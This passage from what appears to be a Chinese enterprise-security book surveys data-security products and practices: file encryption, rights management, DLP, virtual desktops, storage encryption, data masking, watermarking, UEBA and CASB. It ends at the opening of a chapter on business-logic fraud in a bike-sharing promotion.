·应用层加密,关心的是应用软件的行为(读写),由于各种软件读写数据的行为差异,软件环境的 变更会带来巨大的开发成本与测试成本,增加二次开发的费用。而驱动层技术涉及Windows底层,开发难 度相对更大一些,记得当年某同学研究微软新的文件过滤驱动Minifilter就花了整整半年时间。驱动层加 密的难点不在于和文件系统的交互,而在于和其他系统内核模块的交互,特别是缓存系统。系统会把刚 用过的文件内容缓存起来,于是同一份文件内容会同时出现在两个地方:缓存中和文件系统中。于是加 解密过程需要同时处理这两处,同步、兼容等一系列过程,实现起来可难受了。如果处理不好与其他驱 动的冲突,搞不好就会出现蓝屏或文件损坏。另外,如何确认一个进程是合法的需要解密也比应用层处 理起来更麻烦一些。 业界关于到底是驱动层加密好还是应用层加密好的争论从来没有停止过,笔者多年前在某文档安全 厂商工作,对市面上几乎所有的加密产品做过测试,特别是安全性测试,也实施过很多大型项目。应用 层加密,有的产品会通过临时文件的方式来处理,一旦对临时文件的保护处理不到位就容易被人拿到明 文。当然,并不一定驱动层就更安全,因为应用程序会有各种各样的功能,比如通过网络发送、通过管 道传输、进程内部的复制粘贴拖拽、插入对象、甚至直接输出exe文件,还要防止截屏软件截图等,这些 在驱动层是很难控制甚至无法控制的,所以很多家的厂家都会采用驱动+应用控制的方案来实现,比如, 在应用层加解密结合在驱动层做防护,或者在驱动层加解密结合在应用层控制。 结合笔者经验,企业选择透明加解密类产品,需要结合具体企业的场景来看: ·如果保护的只是小范围的Office和PDF,而且不会有太多交互,那两种方式加密基本上问题都不大。 ·如果涉及研发代码类编译场景,采用应用层加解密,速度会是一个很大的问题。 ·如果涉及各种内部交互,比如OA系统调用本地Office,PDM系统调用本地AutoCad程序等,那应用 层加密会更加灵活一些。 ·如果企业内部应用要实现服务端明文、终端密文,那还需要考虑如何防止合法终端进程走网络将数 据传到非法服务端,一般的厂商会引入网关方案。 ·如果推广范围较大,还需要考虑各种场景,如文件解密流程、笔记本临时或长期离线、文档外发控 制、不同部门的密钥管理、支持不同的操作系统或移动终端等,需要自己评估。 企业在选择方案的时候一定要多方评估,目标产品是不是该公司的核心业务,否则可能在不久的将 来也会面临类似的问题。 14.2.2 权限控制类 除了透明加解密之外,企业用户往往需要做更细粒度的控制,包括阅读、复制、编辑、打印等,我 们称之为权限控制类方案。这里以微软RMS方案为例进行讲解。注意权限控制不代表不使用加密技术, 相反,方案通过使用加解密、密钥管理类的技术,来保障被授权的用户才能有权限使用该文档;而文档 权限的控制,保障被授权的用户,权限能够更细粒度地区分,比如阅读、复制、编辑、打印、二次授 权、使用时长、打开次数、被打开的机器数量等。其中一些权限,如阅读、编辑、打印等,是通过控制 文档编辑器来实现的,而二次授权是通过解密再加密授权实现的。 由于欧美和亚洲在防主动泄密的理念以及对用户安全意识的信任是不同的,导致产品功能稍有不 同,但对用户的使用体验甚至安全性上有非常大的影响。在欧美,文档权限管理的目的,更偏重于让有 安全意识的用户更好地授权自己的文档,以及信任有安全意识的用户合理使用文档,如果他一旦利用漏 洞进行主动泄密,更多交给DLP来实现。但在亚洲,文档权限管理的目的更多是防止主动泄密,希望将 被授权用户管理得非常严格。 说一下具体的场景:“阅读”这个权限非常好理解,就是被授权用户只能读,不能做任何其他操作。 但以最典型的文档“复制”权限为例,是允许用户只能将该文档里的内容复制到其他的加密文档,还是可 以复制到邮件或Web类的OA应用呢?微软的RMS是允许的,国内的很多软件是禁止的,或者是有限字节 拷贝。双方都有合理的理由。 RMS产品允许复制的原因是,的确有工作场景需要: ·加密的文档,只是文档中有些内容涉密,不等于所有内容都是高度涉密的。 ·文档内容的交互不仅仅只是文档和文档之间,常常有些工作场景需要摘录文档中一些统计类图标、 内容,发在邮件正文中作为报告的摘要信息提示。比如,系统方案上OA应用评审,也希望摘录部分不太 涉密的评审点。因为随着信息化系统的高度发展,信息流转不仅仅是在文档和文档之间,也在文档和系 统之间。但这样虽然方便了用户,却会造成安全风险,因为一旦可以将内容拷贝到邮件或者OA应用,那 么加密就失效了。但欧美的理念是,员工都经过了安全意识教育,被授权的用户也应知道这些信息该如 何处置,哪些内容可以复制到非加密的应用中而哪些不可以。如果他们主动或过失泄密,在技术上有 DLP的监测或者其他审计,在管理上公司可依制度和法律问责。 国内产品禁止复制的原因,想必大家都能理解,因为一旦可以复制,就有极大的泄密风险,对于蓄 意泄密的用户这就是很好被利用的策略漏洞,那企业在这方面的努力就付诸东流了。但这样做又会极大 影响用户体验,一般有两个缓解方法: ·梳理并培训业务的核心信息。让用户知道,哪些信息该加密和授权,哪些信息不需要,避免加密和 授权的滥用。这样也就较少存在上述由于权限管理严格导致信息交互不通畅的问题。但说起来容易做起 来难。 ·受限拷贝。限制字节数拷贝到非加密应用中,如邮件、OA系统等,辅助对拷贝次数进行分析和自动 化预警。策略越复杂,产品也越容易出Bug。而且,字节阈值的限定也是一个难题。 不纠结以上这些细节,RMS与微软AD、Office整合在一起是非常完美的,可惜很多企业还有大量非 Office类文档需要保护,如设计图纸,源代码等。另外,此方案与AD绑得比较紧,用户名密码这种身份 认证满足不了一些高安全要求的企业场景,而加密密钥保存在计算机上容易被不法分子通过技术手段获 取,所以很多国内企业也趁机推出了自己的权限控制类产品,如控制打开时间、打开次数等。这类产品 往往需要对原来的文件格式进行转换,采用厂商的定制工具打开,最后还是会调用原应用程序,只是在 这个过程中控制一下权限,但一旦打开,后里面的各种应用功能(如剪贴板、插入对象等)也不太好控 制,所以目前在市场上越来越少见了。 近几年,随着国产化的逐步推进,WPS在政府军工企业用得越来越多,金山公司提供了文档安全相 关的功能,除了有文档加密功能外,还有权限管理功能,包括浏览、编辑、复制、打印、另存、截屏、 授权七种权限可以控制,而拥有文档授权权限的用户和文档安全管理员可以将权限授予给其他用户、部 门或用户组,用户和管理员的操作日志在后台都能完整记录。除此之外,还有文档外发、打印分发等功 能。 比较特别的一点是WPS安全文档的加密机制,与传统电子文档安全软件不同,安全文档采用一文一 密钥的机制,密钥本身会二次加密,二次加密密钥由服务器产生并保存,每次打开安全文档需要到服务 器利用二次密钥解开文档密钥,才能打开安全文档,多重防护确保了文档安全,保存与打开文档流程如 图14-4和图14-5所示。 图14-4 WPS保存安全文档流程 图14-5 WPS打开安全文档流程 加解密方式特性如下: ·客户端密钥Client在每次保存时都会重新产生,以保证其安全性。 ·服务端密钥Server不传输到任何地方。 ·权限信息不写入安全文档中,而是保存在服务器。 ·客户端和服务器均使用标准AES进行加解密,支持接入第三方算法。 企业如果决定使用WPS的安全文档方案,请认真考虑以下几个问题: ·企业里WPS推广落地效果如何?毕竟WPS和Office还是有差距的,有些Excel里的高级功能在WPS里 可能没有或者不完善。 ·密钥都存在后端服务器上,文档解密都需要与后端服务发生关系。如果服务端可用性架构设计不妥 或者运维不当,都可能导致文件无法正常打开,这点需重点关注。 ·每个文档都有不同的密钥,如果考虑到特殊情况下要全部解密怎么办?WPS安全文档还提供了金钥 匙功能,可以将其理解为一个万能钥匙,前提是在加密的时候使用这个KEY,那这又引入了一个风险, 这个KEY的保存、使用过程是否安全? 14.2.3 终端DLP类 市面上除了加密和权限控制类方案之外,还有一些提供终端DLP功能,通常包括敏感文件识别、外 发文件阻断、外设端口管控、日志审计分析等功能。其中,最关键的是敏感文件识别,如果连文件内容 都无法准确识别,那后面的阻断就成为无稽之谈。而外设端口管控、日志审计分析,在一些桌面管理类 方案都有涉及,此处不过多阐述。 敏感文件识别,首先,要对终端上的各类文档进行深入解析,通常Office、PDF、压缩包、文本类都 是必需的,在测试的时候一定要对不同版本的Office文档进行测试,因为不同版本产生的文件格式也不一 样;Office还提供一些诸如插入对象的功能,那么Word里插入一个xls能解析吗?压缩有Rar、Zip、7z等格 式,不同格式又会有一些不同的压缩算法,RAR5支持吗?7-Zip里的LZMA、PPMd等支持吗?图片文件 是否能OCR识别?最后,copy/b的绕过方法能否在DLP方案里有所体现,这是个加分项。其次,在解析内 容的基础上,匹配相应的策略来判断文档是否敏感,从简单的关键字、正则表达式,到文件指纹,数据 库指纹,再到语义分析、机器学习等,在条件上的与、或、非各种组合下,才能判定文件是否敏感,敏 感度是多少,相应的动作是否阻断等。 外发文件阻断,通常需要考虑一些泄密的场景,包括U盘拷贝、打印、压缩、拷贝到共享、拷贝到远 程桌面、拷贝到虚拟机、光盘刻录、邮件客户端发送、QQ/RTX/微信等通讯软件聊天以及传附件等一系 列场景,有的甚至需要对截屏、剪贴板进行控制。至于是采用阻断还是采用只监控审计的方案,要看企 业需求和文化氛围,只监控审计的方案对最终用户无感知,体验会更好,也更容易在企业落地。 14.2.4 桌面虚拟化 数据一旦落到终端,很多方案都会存在失效的可能。随着云计算、大数据的发展,很多企业意识到 将数据统一集中管理、不落到终端上是一个不错的方法。在桌面虚拟化技术成熟之前,很多企业就已经 在开发类似的方案了,基本上都围绕一个思路—数据不落地。比如,针对数据仓库的数据防护,采用瘦 终端+终端服务器跳转来实现,结合外围物理控制,比如门禁、保安、不允许手机带入等。 得益于服务器虚拟化技术的成熟和服务器计算能力的增强,使得服务器可以提供多台桌面操作系统 的计算能力,将远程桌面的远程访问能力与虚拟操作系统相结合,形成了桌面虚拟化技术。有些场景可 能不需要用户有个完整的桌面,只需要特定的应用,于是出现了应用虚拟化。VMware的虚拟桌面方案示 意图如图14-6所示。 图14-6 VMware的虚拟桌面方案 虚拟桌面方案对网络质量要求较高,不同厂家的远程协议有各自的优化处理方案,需要仔细对比体 验,除此之外,我们需要关注以下的一些关键点: ·用户认证功能。一般方案都提供本地用户密码认证、AD认证,有的还支持双因素认证。 ·USB存储功能。有些场合需要使用USB设备,所以一般都提供了USB重定向功能,如果USB的存储 功能受限,将会成为一个数据泄露的途径。 ·剪贴板功能限制。为了方便地将本地剪贴板内容拷贝到虚拟桌面,一般的方案都提供了剪贴板重定 向功能,最好有方向上的控制。 ·MAC地址绑定功能。虚拟桌面IP和MAC地址绑定,瘦终端的MAC地址与用户账号绑定,或者与虚 拟计算机的名称绑定等。 ·PC截屏功能。数据都在服务端,本地终端能看到但拿不到,难免会有人想截个屏,然后到本地桌面 粘贴,这时候防截屏功能就能发挥作用了。 ·虚拟桌面水印功能。截屏不行还可以拍照,所以水印功能也必不可少,有明文水印,有些厂商还提 供隐藏水印功能。 ·如果在没有全员迁入到虚拟桌面的情况下,怎么保障虚拟桌面用户只能通过虚拟桌面而不能通过本 地计算机访问核心信息系统,从而保障核心信息不落地? ·虚拟桌面本质上相当于将物理终端从前台移到了后台,解决了物理终端设备边界的问题,对于从网 络和应用上访问所形成的数据安全风险,还需要结合其他安全方案进行巩固。 14.2.5 安全桌面 不同于桌面虚拟化方案在已有终端利用率不高、网络和后台资源占用多的情况,目前市场上还有一 种“安全桌面”方案,其本质是利用Sandbox技术,在真实系统上虚拟出一个安全桌面,当用户访问敏感系 统或数据的时候要使用安全桌面。基于沙箱的安全桌面可以在操作系统使用时虚拟出多个专用桌面,在 这些专用桌面上的操作与宿主桌面共用操作系统和应用程序,但是不会共用数据。例如,在专用桌面中 编辑文档信息和在宿主桌面一样,使用相同的办公软件,但是数据完全隔离,两个桌面各自编辑自己的 文档。在基于沙箱的安全桌面上结合终端监控工具,就可以彻底区分业务数据,通过网络访问控制区分 宿主桌面和专用桌面的访问范围,可以限制业务系统只能接受某些专用桌面的访问,并且结合存储控 制,例如,数据只能存储在远程的文件服务器上或者禁止移动存储设备接入,完全能够实现监控专用桌 面的数据访问和存储,对于业务数据保护非常完善。 结合笔者经验,此类方案主要存在两大问题需要解决: ·沙箱技术与操作系统强相关导致的兼容性问题。微软新推出一个操作系统,你的安全桌面方案还能 支持吗?微软IE浏览器升级后,安全桌面方案是否需要调整? ·沙箱的隔离技术与操作系统功能导致的安全性问题。我们知道,进程除了与文件打交道,还会涉及 网络、管道等,方案对不同桌面的网络控制进行了限制,其保护机制如何?简单修复SPI是否能绕过?在 默认桌面起个服务监听网络端口然后在沙盒里通过网络访问呢?进程间通信管道用来传递数据呢? 终端本来就复杂,很多厂商不会在上面投入太多精力,随着操作系统和应用软件的不断升级,最后 导致的结果就是支持力度上不去,使用了该方案的企业可能会陷入被动局面,所以请谨慎选择。 14.3 网络数据安全 企业员工上网、邮件外发场景都会存在数据泄露的可能,有些企业对办公和业务网做了逻辑隔离, 但数据还是有交互的需求,这里都需要考虑数据安全问题。笔者把它分为三类:网络DLP类、上网代理 类、邮件代理类。网络DLP类主要是基于旁路镜像分析流量是否有敏感内容传输;后两种主要是串在网 络访问路径上,从而可以起到拦截的效果,下面分别阐述。 1.网络DLP类 此类方案中,笔者以Symantec DLP的Network Monitor为例进行介绍,图14-7是Symantec DLP关于 Network Monitor功能的示意图。 图14-7 Symantec Network Monitor功能 首先,管理员通过Enforce界面对各种策略、服务器、角色、用户进行统一管理,Network Monitor Server只是其中一种类型的服务器;其次,通过在交换机上做Span或者使用TAP交换网络,将流量送到 Monitor服务器,在Enforce上进行相应的配置,如图14-8所示。 图14-8 Symantec Network Monitor配置 如果对标准版的协议不满意,还可以进行自定义调整,比如,基本的IP过滤,针对不同协议的L7层 过滤,甚至还有一些内容处理的深度设置,图14-9是对SMTP协议可配置的项。 最后,DLP Monitor程序从服务端拉取策略,对前面镜像的流量按照其标准或自定义过滤情况进行分 析,一旦发现有匹配策略的附件或内容,即产生事件并上报到Enforce,最终写入数据库供管理员查阅。 此类方案由于不改变现有网络结构,部署起来有先天的优势,所以被广泛使用,企业在使用此方案 时,需要注意: 图14-9 Symantec Network SMTP ·流量缺失监控。引起缺失的原因可能是某次交换机变更,也可能是端口速率变化,还可能是流量过 大服务端处理不过来,一定要有相应的手段发现问题根源。 ·针对加密流量,如HTTPS、启用TLS加密的SMTP,或者非标准端口协议,如HTTP,运行在非80端 口,都无法监控或者需要单独调整。 ·无法进行拦截,只是事后审计。 说实话,从产品理念到技术架构,Symantec DLP都是非常优秀的,当国内产品普遍处在关键字、正 则表达式年代的时候就已经提出了确切数据匹配EDM、索引文档匹配IDM、向量机学习VML等技术,还 有新版引入的OCR、ICT等技术,可惜近几年其在国内市场急剧萎缩,售后能力得不到保障,不建议再使 用。网络DLP的未来趋势是与云访问安全代理(CASB)功能集成,将敏感数据的发现范围进一步扩大到 云应用程序,比如Office 365,需要企业重点关注。 2.上网代理类 为了解决前面无法拦截的问题,可以将设备串行部署在网络上,这样的部署模式还可以在一定程度 上解决加密流量问题,比如采用中间人技术对HTTPS协议进行加解密。 上面的方案改变了网络结构,引入了可用性风险,所以还有一种方案可选择,特别是很多企业已经 有上网代理的情况下,将上网的流量通过ICAP协议与DLP设备联动,是相对灵活的方案。这里还是以 Symantec Network Prevent for Web方案为例来说明,如图14-10所示。 图14-10 Symantec Network Prevent for Web Web代理服务器充当ICAP客户端,配置将请求转发至Prevent Server的ICAP REQMOD服务,或者将 响应转发至Prevent Server的ICAP RESPMOD服务,而Prevent Server上监听ICAP服务端口,建议配置白名 单进行限制。国内也有厂商支持串行部署、ICAP模式,不再赘述。 3.邮件代理类 邮件外发场景相对上网场景更加单一,而且可以轻松配置将邮件路由下一跳指到MTA,所以各家的 方案部署模式都差不多,更多的是在这个基础上的一些扩展,比如垃圾邮件拦截、内容过滤、邮件审 批、TLS通道加密、加密外发等。这里以Websense的邮件网关方案尤为突出,默认带有Data Securtiy功能 模块,不需要重新采购许可。 经笔者了解,各家方案基本都是基于postfix改造,将邮件内容剥离出来进行反病毒、反垃圾引擎、 DLP引擎检测,并按照后台配置的策略进行相应的动作,包括隔离、拦截、投递、加密等。 有一点必须要指出,Websense设备后台的管理员密码都掌握在厂家手里,美其名曰“保护公司机 密”。如果能接受这一点,那么Websense是一个非常不错的产品,只可惜避免不了和Symantec面临同样的 问题,Websense被具有军方背景的雷神公司收购后改名为Forcepoint,其在中国的业务也日渐萎缩,售后 也是基本废掉了,不建议再采购。 14.4 存储数据安全 企业的很多数据除了落地在终端,更重要的是落地在后端存储上,这里的数据安全工作会涉及存储 数据的加密、敏感文件的扫描发现以及数据的销毁等方面的内容。 1.存储数据的加密 存储数据的加密,根据数据加密位置的不同,一般分为:应用层加密(如数据库、备份软件),网 关层加密(如加密交换机),存储系统加密。 应用层加密,肯定是兼容性最好的方案,因为应用自身实现了加密,存储层、网络层根本无感知; 另外,由于应用层加密可以保护数据端到端的安全,所以实用价值更大。以数据库为例,包括Oracle、 SQL Server在内的数据库,都在高版本里支持透明加解密功能,即存储在磁盘上的数据是加密的,加解密 功能由数据库自身来完成。MySQL在5.7版本中推出数据加密功能—透明数据加密(Transparent Data Encryption),用户在创建加密表时,不用指定加密密钥。数据在写盘时加密,在读盘时解密。不过,目 前MySQL的透明数据加密只支持InnoDB存储引擎,未来可能会有新的改进。 网关层加密,使用加密存储安全交换机,连接在存储设备和主机之间,所有数据都会经过它,性能 是一个需要关注的问题;另外,对已经有存储交换机的企业来说,还需要另外采购加密交换机来实现加 密功能。 存储系统加密,依靠存储本身提供的加密就可以,不需要引入加密交换机,也不会对主机的性能有 影响。很多企业都使用磁带库的方式进行备份,一般都支持加密功能。 2.敏感文件的扫描 常规的DLP产品都会支持敏感数据发现功能,除了对本地终端,还可以对远程存储上的文件进行扫 描,比如文件共享、Lotus Notes数据库、SQL数据库、SharePoint服务器、Exchange Server扫描等,都是 一些DLP产品里的功能,此处不再赘述。 3.数据的销毁 数据销毁有两种,一种是我们常说的数据擦除,一种是针对物理设备的消磁或粉碎。 有经验的同学都知道,Shift+Delete删除的文件其实在磁盘上还是能找回来的,其原理是,当你删除 一个文件的时候,并没有真正把文件从磁盘的存储位置上删除,而只是在文件分配表上把该文件存储位 置的标志置为0,也就是说只有你下次存储新的东西要用到这个标志的时候,原来被删除的东西才能真正 被物理覆盖掉。 安全的删除方法是使用专业工具进行的,免费的有Eraser,其删除设置里有多种删除方法,包括美国 国防部标准等。 如果想针对某个重要文件做处理,但已经不小心被删除,一种办法是先恢复再安全删除,还有一种 办法就是直接硬盘填充多次,硬盘填充工具网上有免费的FillDisk,也有系统自带的cipher命令。此类工具 的原理都是写数据一直到磁盘写满,多运行几次再用数据恢复工具测试一下效果进行验证。 针对磁盘的消磁,需要专业的消磁设备来进行,一般金融机构数据中心都会配备,不再赘述。针对 SSD固态硬盘,由于其不是磁性媒介组成,所以消磁机就派不上用场了,一般的做法是将其芯片粉碎,市 面上也有相应的设备。 14.5 应用数据安全 企业里有各种各样的应用系统,数据安全工作者往往需要从数据的采集或输入、存储、内部访问或 API调用、前端展示等维度去考虑。前端展示涉及的数据脱敏话题将在14.6.1节中阐述,建议以API接口服 务形式提供数据消费功能,通过对接口的统一管理,并尽量提供数据终态结果,避免原生态敏感数据的 输出使用,减少原生态敏感数据的扩散半径。除了业务系统上层的控制,还需要关注数据库安全、数据 交换流程控制以及大数据平台上的数据安全,下面分别阐述。 1.数据库安全 数据库里存放着各种各样的数据,所以常常成为重点攻击目标。这里的攻击,除了传统的通过Web 漏洞拖库外,还包括内部管理员直接后台Dump,以及业务人员通过系统批量导出。为了尽可能覆盖各种 攻击场景,一般企业需要如下的方案: 1)使用数据库代理保护数据库免受攻击,比如数据库防火墙可以直接阻断基于数据库协议的攻击行 为,一般的proxy还可以提供IP过滤、SQL命令过滤与审计功能,可以对非法来源或SQL语句进行阻断。 2)对数据库进行封装,提供统一的运维平台给DBA或开发人员使用,使管理员无法直接接触数据库 服务器,通过用户账号管理、权限控制、操作审计来实现。 3)数据库审计,通过基于网络流量或者代理插件等技术来实现数据库审计,以此发现针对数据库的 入侵或违规操作。 4)数据库所在服务器及数据库软件本身的安全性加固工作。这其实是一个基础工作,如果数据库存 在未授权访问漏洞甚至直接能远程溢出到服务器,那前面这些工作可能就白做了。 关于数据库安全,商业产品比较多,比如Imperva及国内的安恒等,开源的也有不少可以选择,比如 McAfee的Mysql-Audit插件、数字公司的MySQL Sniffer、美团的DBProxy等,具体的使用可以参考刘焱 (兜哥)的《企业安全建设入门:基于开源软件打造企业网络安全》一书(书号:978-7-111-59070-5)中 关于数据库安全的内容。 2.数据交换平台 理论上业务系统功能足够强大,可以直接在业务系统上实现数据导出功能,不需要有单独提取数据 的场景。但理论有时候只是理想,很多企业将生产与办公隔离开来,有时候需要将一些数据提取到办公 网来,于是数据交换平台类产品出现了,从早期的安全隔离网闸,到如今的一些交换平台类方案等,这 里就不过多评价其优劣了。笔者注意到有些产品开始融合网闸、网盘和DLP思想或技术于一体,通过授 权、审批、敏感性检测、审计等方式保障数据交换过程的安全性。图14-11是某公司的数据交换平台示意 图。 图14-11 数据交换平台示意图 有些场合,需要给外部机构提供大文件,邮件通常有大小限制,直接开放FTP访问也不安全,放到外 网(类似百度网盘)也担心有风险,怎么破?有些厂商借鉴百度云盘的方案为企业创建一个自己的云盘 对外提供服务,外链分享、密码提取、有效期限制等功能都有,再结合企业内部审批流程、邮件对接 等,这也是一个可选的方案。 3.大数据安全 越来越多的企业将各种各样的日志丢到大数据平台进行分析,管控不好会造成大批量的数据泄露。 如果企业安全建设能力还不够,建议放到封闭环境进行操作访问,类似我们上面提到的数据仓库保护方 案。互联网企业在这块走在前面,可以借鉴其思路开展工作,包括: ·在大数据平台上提供各种各样的模型,方便业务人员直接在平台上做分析和可视化展示,这样可使 数据导出的需求尽可能少。 ·建设大数据风控平台,对敏感数据展示时进行脱敏处理,或者只对用户展示最终的视图。 ·确实需要导出进行离线分析的,请结合前面的各种方案进行选择,比如桌面虚拟化确保数据不落到 终端,或者落到终端的数据有审批、水印、审计等措施。 ·大数据平台本身的安全性,包括身份认证、访问控制和授权等。Hadoop及其生态系统中的其他组件 都支持使用Kerberos进行用户身份验证。Hadoop和HBase都支持ACL,同时也实现了基于角色的访问控制 (RBAC)模型,更细粒度的ABAC(Attibute Based Access Control)在HBase较新的版本中也可通过访问 控制标签和可见性标签的形式实现。 14.6 其他话题 14.6.1 数据脱敏 数据脱敏在百度百科上的定义是,对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数 据的可靠保护。当涉及客户安全数据或者一些商业性敏感数据时,在不违反系统规则条件下,对真实数 据进行改造并提供测试使用,如身份证号、手机号、卡号、客户号等个人信息都需要进行数据脱敏。 数据脱敏的应用非常广泛,比如我们常见的火车票上的身份证号码会用星号替换其中一些数字。按 照脱敏规则,可以分为可恢复性脱敏和不可恢复性脱敏。可恢复性脱敏就是数据经过脱敏规则的转化 后,还可以经过某些处理过程还原出原来的数据;相反,数据经过不可恢复性脱敏之后,将无法还原到 原来的样子,可以把二者分别看成可逆加密和不可逆加密。 金融行业作为一个强监管的行业,经营过程中收集到的客户资料信息(包括身份证、银行卡号、手 机号、住址等个人信息)必须进行严格保护,数据脱敏是一个必不可少的环节,特别是在开发、测试过 程中可能会使用到真实生产数据时。随着业务越来越复杂及后台数据库里表规模越来越大、结构越来越 复杂,依靠人工梳理敏感信息的方式已经不能满足日益复杂的安全需求,商业的脱敏系统应运而生,这 类系统基本上都利用各类敏感信息的规则通过自动扫描来发现敏感信息字段。 除此之外,生产系统中的真实数据在对客户展示时,也需要考虑脱敏处理;内部系统也是一样,避 免不必要的信息泄露的方式,基本都需要对系统进行改造,在前端展示、数据导出环节进行控制。这里 需要注意一些“坑”,比如测试环境中的数据已经脱敏,测试人员对功能测试时往往发现不了系统内在逻 辑是否进行了脱敏,一旦有问题的代码发布到生产环境,可能效果会和测试环境不一样。假设某页面上 直接出现了客户信息(如手机号),随着现在互联网传播手段的流行,造成的声誉风险可能会非常大。 14.6.2 水印与溯源 水印在数据安全领域广泛应用,主要用来防止敏感信息被以截屏、拍照的方式泄露出去。水印,根 据其可见性,可以分为明文水印和隐藏水印。明文水印一般主要起警示的效果,比如企业内部文档通常 加上“内部资料,请注意保密”字样的水印;而隐藏水印,更多是站在追踪溯源的角度考虑。这两种水印 一般会同时使用,企业里通过技术手段配合行政手段,往往具有更好的震慑效果。 根据使用场景的不同,水印又有屏幕水印、网页数字水印、图片水印、文档水印等各种呈现方式。 屏幕水印一般是通过后台Agent来实现在屏幕上打上水印;网页数字水印一般通过网页背景技术来实现; 图片水印是通过将图片打上水印标记生成另一个图片来实现;文档水印更多是在文档本身体现,需要文 档工具支持。结合笔者经验,下面介绍三种比较特殊的水印处理技术,供大家参考。 1.强化版网页数字水印 常规的网页数字水印,基本上都是写着诸如员工编号等信息的透明度很高的图片,以Background- Image的方式平铺满整个屏幕,有一定技能的人可利用浏览器按F12找到对应元素直接删除水印。 有没有更好的办法防止删除水印呢?一般人想到通过JavaScript来实现—当发现有人删除这个DOM节 点时再重新生成即可。除了删除,还有DOM节点的隐藏、挪动、篡改等手段也会影响水印效果。 另外,如果通过防火墙或一些浏览器插件工具拦截到水印服务的请求呢?再来个连接检查请求,看 水印服务是否可达,不可达则破坏页面不显示正常内容。 如果以上都解决了,那攻击者通过查看JS代码发现其判断逻辑,在浏览器代理工具中修改相应结果 呢?这时候就需要对JS代码进行保护了,不只是常见的压缩混淆,还会涉及前端代码保护技术。对抗是 无止境的,结合已有的保护技术,在代码里通过埋点对恶意行为进行记录,也是一个非常好的方案,毕 竟企业里真正懂这些技术的人不多,通过埋点发现“高手”也是件有趣的事情。 2.WPS字库水印 WPS文档朔源专用版客户端创建的公文,可将用户的登录身份基本信息(以及硬件ID设备信息)形 成隐藏的数字水印分布在公文的文字排版中,如图14-12所示。 图14-12 WPS隐藏水印效果图 从图14-13可以看出,其水印功能是利用特殊字体,在打开、打印文件时对字体进行绘制,埋入相应 的数据水印,图14-13是WPS隐写用户信息的原理图。 以上过程不影响原文件,仅影响WPS呈现出来的效果,而且仅通过肉眼识别不出来,用户基本感觉 不到。但是,如果当用户通过打印、复印、拍照等方式造成文档泄密时,单位管理者仅需要获取公文的 复印件或相关的拍照图片,即可通过WPS公文溯源解析系统,寻找到泄密的原始人,从而方便追责工 作,图14-14为溯源提取原理图。 图14-13 WPS隐写用户信息原理图 图14-14 WPS隐藏水印溯源提取原理图 3.矢量水印 屏幕矢量水印是某公司新一代的水印解决方案。该方案抛弃原有“所见即可得”的水印方式,用一 种“轻微型”标记的方式来展现水印,近乎等同于“隐形水印”。如果一旦通过屏幕拍照或者截屏引发了泄密 事件,即可通过泄密照片上的矢量水印信息快速锁定泄密者。 屏幕矢量水印具有抗折叠、冗余备份、抗波尔纹等特点,无论照片如何压缩、优化、折叠都不会影 响水印信息的审计和泄密源的定位。只需要在查询页面中,输入水印信息进行查询,就可以锁定的泄密 人。如果得到的泄密的图片不够完整,系统也能支持查询出精确度最高的结果。 图14-15是一个矢量水印效果截图。 图14-15 矢量水印效果 可以看到在图14-15上有很多点阵,每个点阵后台代表不同的字符,如图14-16所示。 图14-16 矢量水印追查 通过特定的算法只需提取4~6个相连的点阵即可追溯文档泄露相关信息。 14.6.3 UEBA 2014年,Gartner发布了用户行为分析(UBA)市场定义,UBA技术目标市场聚焦在安全(窃取数据)和诈 骗(利用窃取来的信息)上,帮助组织检测内部威胁以及有针对性的攻击和金融诈骗。但随着数据窃取事件 越来越多,Gartner认为有必要把这部分从诈骗检测技术中剥离出来,于是在2015年正式更名为用户实体 行为分析(UEBA)。 UEBA最近很火,国外一些领先的UEBA厂商凭借检测能力上的优势,已经在尝试颠覆原有市场格 局,包括Exabeam、Gurucul、Interset、Niara、Securonix、Splunk(2015年收购Caspida)等。这些产品的 出发点主要是解决以下问题: ·账号失陷检测。 ·主机失陷检测。 ·数据泄漏检测。 ·内部用户滥用。 ·提供事件调查的上下文。 毫无疑问,这些威胁都是企业最关注的风险。而在国内这方面的公司或产品还不够完善,很多企业 在尝试从传统的SIEM/SOC转向大数据平台进而走向UEBA。需要保持关注,国外UEBA的火热不是没有 道理的。 从数据安全的角度上看,内部用户对业务系统的异常访问是需要关注的,比如去年报道的针对征信 系统批量查询的案例,通过对账号的异地、异常时间登录,到数据的批量查询下载,都是可以发现的。 14.6.4 CASB 随着云技术和虚拟化技术的普及,越来越多的企业已经没有传统意义上的数据中心机房了,各种业 务系统迁移到云上,包括企业邮箱、企业网盘、CRM、ERP、OA、HR等各类业务系统均托管给云服务 商,计算资源规模化、集约化使办公效率取得大幅度提升。在这种情况下,存储资源变为共享式,企业 随之失去了对应用及数据的安全控制权。既要享受便捷的云端服务,又不能失去对自身数据的控制权, 基于这个预期,Gartner在2012年提出了CASB概念,定义了在新的云计算时代,企业或用户掌控云上数据 安全的解决方案模型。CASB产品有两种工作模式:一种是Proxy模式,另一种是API模式。 在Proxy模式下,CASB要处理企业上传到云应用的全部流量,重要数据采用加密等安全策略处理后 再上传到云服务商;而在API模式中,企业数据直接传给云服务商,CASB利用云应用的API,对用户进行 访问控制以及执行企业的安全策略。 金融行业的特殊性导致业务上云成为一个具有争议性的话题,笔者建议需要保持关注,技术潮流势 不可挡,传统金融机构面临互联网公司的挑战势必加快这方面的技术转型。 14.7 小结 数据安全建设工作,没有黑科技,只能靠对企业数据的全流程管理结合技术手段,尽可能地避免数 据外泄。 办公终端物理分布的广泛性导致数据管理半径的急剧扩大,加上终端的多样性导致终端数据安全管 理难度进一步加大。数据安全未来管理方向,在聚焦于敏感数据的基础上可以考虑转向后台集中管理, 数据集中的承载平台包括应用系统和虚拟桌面等,不过前提条件是要提高应用系统、虚拟桌面的数据处 理、分享能力,并打通后台的数据流转过程。未来随着云的流行和监管可能的放开,CASB是一个不错的 方向,值得关注。 第15章 业务安全 2017年共享单车行业的两大巨头的“红包大战”事件中,A公司宣布推出“红包车”吸引用户之后,B公 司也推出了“骑单车,给红包”的全新活动。活动规定在B公司单车系统显示的红包范围内开锁,只要骑行 超过500米、10分钟的用户,就能够在骑行结束之后领取最高5000元的红包奖励。 结果活动没推出几天,网上就出现了“利用B公司漏洞赚红包”的技巧分享文章,用户可以通过在手机 上安装虚拟GPS的方式来进行红包区域与共享单车的定位,然后通过正常的APP软件来完成共享单车的租 